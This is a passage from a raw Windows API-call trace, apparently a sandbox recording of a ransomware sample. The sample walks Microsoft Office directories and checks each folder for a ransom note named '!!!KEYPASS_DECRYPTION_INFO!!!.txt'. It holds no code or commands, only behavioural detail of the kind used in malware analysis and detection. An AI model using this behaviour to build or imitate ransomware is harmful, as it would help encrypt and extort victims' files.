lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0269.499] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0269.499] CloseHandle (hObject=0xe18) returned 1 [0269.500] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.500] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.500] GetLastError () returned 0x3f0 [0269.500] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.500] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.501] GetFileType (hFile=0xe20) returned 0x1 [0269.501] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0269.501] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0269.502] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0269.502] CloseHandle (hObject=0xe20) returned 1 [0269.502] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.502] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.503] GetLastError () returned 0x3f0 [0269.503] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\ole db\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.503] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.503] GetFileType (hFile=0xe24) returned 0x1 [0269.503] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.503] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.503] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.504] CloseHandle (hObject=0xe24) returned 1 [0269.504] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0269.504] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.504] GetLastError () returned 0x3f0 [0269.504] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.504] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.506] GetFileType (hFile=0xe28) returned 0x1 [0269.507] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0269.507] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0269.507] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0269.508] CloseHandle (hObject=0xe28) returned 1 [0269.508] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.508] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.508] GetLastError () returned 0x3f0 [0269.508] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.508] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.509] GetFileType (hFile=0xe2c) returned 0x1 [0269.509] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0269.509] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0269.509] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0269.510] CloseHandle (hObject=0xe2c) returned 1 [0269.510] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.510] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.510] GetLastError () returned 0x3f0 [0269.510] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.510] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.511] GetFileType (hFile=0xe30) returned 0x1 [0269.511] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.511] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.511] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.512] CloseHandle (hObject=0xe30) returned 1 [0269.512] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.512] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.512] GetLastError () returned 0x3f0 [0269.512] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.512] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.516] GetFileType (hFile=0xe34) returned 0x1 [0269.516] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.516] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.516] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.517] CloseHandle (hObject=0xe34) returned 1 [0269.517] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.517] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.517] GetLastError () returned 0x3f0 [0269.517] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.517] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.518] GetFileType (hFile=0xe1c) returned 0x1 [0269.518] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0269.518] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0269.518] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0269.519] CloseHandle (hObject=0xe1c) returned 1 [0269.520] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.520] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.520] GetLastError () returned 0x3f0 [0269.520] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.520] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.520] GetFileType (hFile=0xe38) returned 0x1 [0269.521] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0269.521] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0269.521] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0269.521] CloseHandle (hObject=0xe38) returned 1 [0269.522] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0269.522] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3838 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.522] GetLastError () returned 0x3f0 [0269.522] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.522] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.523] GetFileType (hFile=0xe3c) returned 0x1 [0269.523] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0269.523] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0269.523] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0269.524] CloseHandle (hObject=0xe3c) returned 1 [0269.524] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.524] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.524] GetLastError () returned 0x3f0 [0269.524] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.524] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.577] GetFileType (hFile=0xe44) returned 0x1 [0269.577] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.578] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.578] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.578] CloseHandle (hObject=0xe44) returned 1 [0269.579] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.579] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.579] GetLastError () returned 0x3f0 [0269.579] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.579] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.598] GetFileType (hFile=0xe48) returned 0x1 [0269.598] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0269.598] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0269.598] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0269.599] CloseHandle (hObject=0xe48) returned 1 [0269.599] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.599] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4f76028 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.599] GetLastError () returned 0x3f0 [0269.599] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.599] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.601] GetFileType (hFile=0xe4c) returned 0x1 [0269.601] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0269.601] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0269.601] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0269.601] CloseHandle (hObject=0xe4c) returned 1 [0269.602] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0269.602] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.602] GetLastError () returned 0x3f0 [0269.602] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.602] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.603] GetFileType (hFile=0xe50) returned 0x1 [0269.603] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0269.603] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0269.603] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0269.604] CloseHandle (hObject=0xe50) returned 1 [0269.604] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.604] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.604] GetLastError () returned 0x3f0 [0269.604] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.604] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.604] GetFileType (hFile=0xe54) returned 0x1 [0269.604] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0269.604] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0269.604] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0269.605] CloseHandle (hObject=0xe54) returned 1 [0269.605] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0269.605] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.605] GetLastError () returned 0x3f0 [0269.605] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.605] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.607] GetFileType (hFile=0xe58) returned 0x1 [0269.607] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0269.607] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0269.607] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0269.607] CloseHandle (hObject=0xe58) returned 1 [0269.608] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.608] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.608] GetLastError () returned 0x3f0 [0269.608] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.608] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.608] GetFileType (hFile=0xe5c) returned 0x1 [0269.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.609] CloseHandle (hObject=0xe5c) returned 1 [0269.609] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.609] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.609] GetLastError () returned 0x3f0 [0269.609] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.609] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.610] GetFileType (hFile=0xe60) returned 0x1 [0269.610] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.610] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.610] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.611] CloseHandle (hObject=0xe60) returned 1 [0269.611] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.611] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.611] GetLastError () returned 0x3f0 [0269.611] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\130\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.611] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.613] GetFileType (hFile=0xe40) returned 0x1 [0269.613] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.613] GetLocaleInfoEx (in: 